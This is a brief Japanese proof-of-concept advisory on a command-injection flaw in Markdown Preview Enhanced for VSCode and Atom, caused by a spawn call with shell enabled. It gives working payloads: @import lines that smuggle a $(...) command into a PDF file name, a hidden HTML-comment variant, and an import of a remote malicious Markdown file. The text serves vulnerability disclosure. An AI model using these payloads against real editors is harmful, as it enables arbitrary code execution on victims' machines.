
[PoC] Markdown Preview Enhanced (VSCode, Atom) の PDF インポートを介したコマンドインジェクション
Markdown Preview Enhanced(VSCode、Atom)のPDFインポートにおけるコマンドインジェクション
Mume マークダウンツールライブラリは、{shell: true} オプションを指定した spawn コマンドを使用していたため、コマンドインジェクションに対して脆弱でした。これにより、攻撃者は被害者を騙して特別に細工されたMarkdownファイルをVSCodeまたはAtomで開かせることで、任意のコード実行を達成できる可能性があります。このライブラリは、VSCode と Atom の両方でMarkdown Preview Enhancedプラグインを支えています。
脆弱なコードスニペット:
const task = spawn(
"pdf2svg",
[
`"${pdfFilePath}"`,
`"${path.resolve(svgDirectoryPath, svgFilePrefix + "%d.svg")}"`,
"all",
],
{ shell: true },
)
次のMarkdown文書により、攻撃者は任意のコマンドを実行できます:
@import "$(open -a Calculator > /dev/null | exit 0)hello.pdf"
次のコメントは、MPEによって有効な "@import" コマンドとして認識されます:
<!-- @import "$(open -a Calculator > /dev/null | exit 0)hello.pdf" -->
あるいは、ペイロードを外部ソースから実行することもできます:
<!-- @import "https://raw.githubusercontent.com/yuriisanin/CVE-2022-45025/main/examples/malicious.md" -->
VSCode と Atom の両方のデモをYouTubeで公開しています。
